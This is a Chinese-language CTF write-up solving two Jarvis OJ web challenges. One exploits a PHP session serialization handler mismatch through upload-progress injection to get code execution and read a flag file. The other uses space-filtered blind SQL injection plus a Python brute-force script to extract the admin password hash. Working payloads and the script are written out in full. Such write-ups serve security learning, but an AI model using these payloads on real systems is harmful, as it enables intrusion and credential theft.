PHPINFO
题目地址:http://web.jarvisoj.com:32784/
访问网址,页面显示:
<?php //A webshell is wait for you ini_set(‘session.serialize_handler‘, ‘php‘); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = ‘phpinfo();‘; } function __destruct() { eval($this->mdzz); } } if(isset($_GET[‘phpinfo‘])) { $m = new OowoO(); } else { highlight_string(file_get_contents(‘index.php‘)); } ?>
看到PHP代码中的ini_set(‘session.serialize_handler‘, ‘php‘)
就会知道这道题目与PHP中的Session序列话的问题有关,关于PHP中的Session的问题,可以参考我的这篇文章。这里就对Session序列化不做说明。
这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问index.php时就会被php的引擎反序列化。但是本题没有提供写入session的方法,但是可以通过Session Upload Progress来向服务器设置session。具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:
<form action="http://121.42.149.60/68b329da9893e34099c7d8ad5cb9c940/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
最后在Session就会保存上传的文件名。
下面就对PHP_SESSION_UPLOAD_PROGRESS来写入的方式进行测试。
在本地中,需要对$mdzz进行赋值,然后通过析构函数中的eval()去执行$mdzz中的方法。
在本地创建myindex.php
<?php ini_set(‘session.serialize_handler‘, ‘php_serialize‘); session_start(); class OowoO { public $mdzz=‘需要设置方法‘; function __construct() { // $this->mdzz = ‘phpinfo();‘; } function __destruct() { // echo $this->mdzz; } } $obj = new OowoO(); echo serialize($obj);
可以看到最后的结果输出了spoock
,说明上述的测试是成功的。
接下来就需要获取flag了。
获取项目路径:
通过dirname获取文件路径
设置$mdzz=‘print_r(dirname(__FILE__));‘
序列化得到的结果是O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
显示结果如下:
得到项目路径是在opt/lampp/htdocs
获取文件列表
通过scandir获取文件列表
设置$mdzz=‘print_r(scandir("/opt/lampp/htdocs"));‘
序列化的结果是O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}
显示的结果是:
发现存在Here_1s_7he_fl4g_buT_You_Cannot_see.php
。
读取文件内容:
通过file_get_contents读取文件内容
设置$mdzz=‘O:5:"OowoO":1:{s:4:"mdzz";s:87:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"))";}‘
序列话结果O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
。
显示结果为:
最后就得到flag了。
Simple Injection
本题
尝试使用 username=admin&password=123456
,页面返回 密码错误
尝试使用 username=user&password=123456
,页面返回 用户名错误
那么就说明验证方式是采用的用户名和密码分步验证的。
想法验证
- 使用
username=admin‘#&password=123456
,页面返回密码错误
,说明后台没有对#
和‘
进行过滤。 - 使用
username=admin‘ or 1=1#&password=123456
,页面返回用户名错误
,上面后台对admin‘ or 1=1#
中的部分内容进行了过滤。过滤的内容有可能是or
也有可能是空格。 - 使用
username=user‘/**/or/**/1=1#&password=123456
,页面返回密码错误
,说明输入的SQL语句能够被执行,这也表明后台仅仅是过滤了空格。 - 总结,username存在sql注入,同时仅仅只是过滤了空格,那么就是一个盲注了
PoC
整个PoC就是一个基于错误的盲注的步骤了,具体的方法可以参考文章。
- 查找表 ,
username=user‘/**/or/**/exists(select/**/*/**/from/**/admin)#&password=123456
,页面返回密码错误
,那么就说明在数据库中存在admin
表 - 查找字段
username=user‘/**/or/**/exists(select/**/username,password/**/from/**/admin)#&password=123456
,页面返回密码错误
,说明在admin
表中存在username
和password
字段。 username=user‘/**/or/**/exists(select/**/count(*)/**/from/**/admin)#&password=123456
,页面返回密码错误
,说明在admin
表中仅仅只存在一条记录,接下来就好办了- 得到password长度 ,
username=user‘/**/or/**/(select/**/length(password)/**/from/**/admin)>10#&password=123456
,通过二分试探法,最终发现password
的字段长度是32位,说明可能采用的是md5
的方式来进行加密的。
在确定了password的长度之后,接下来就是利用Python来进行爆破了。
我用的是like匹配盲注
#coding:utf8 import requests postData={ "username":"‘/**/or/**/1=((select/**/password/**/from/**/admin/**/limit/**/0,1)/**/like/**/‘{0}%‘)#", "password":"123456" } str1 = "‘/**/or/**/1=((select/**/password/**/from/**/admin/**/limit/**/0,1)/**/like/**/‘" str2 = "{0}%‘)#" chars = ‘0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz‘ test = [] for x in range(1,33):#控制位数 for char in chars: postData[‘username‘] = str1+str2.format(char) txt = requests.post("http://web.jarvisoj.com:32787/login.php",data=postData).content if len(txt)==1202: test.append(char) str1 = str1+char print char print test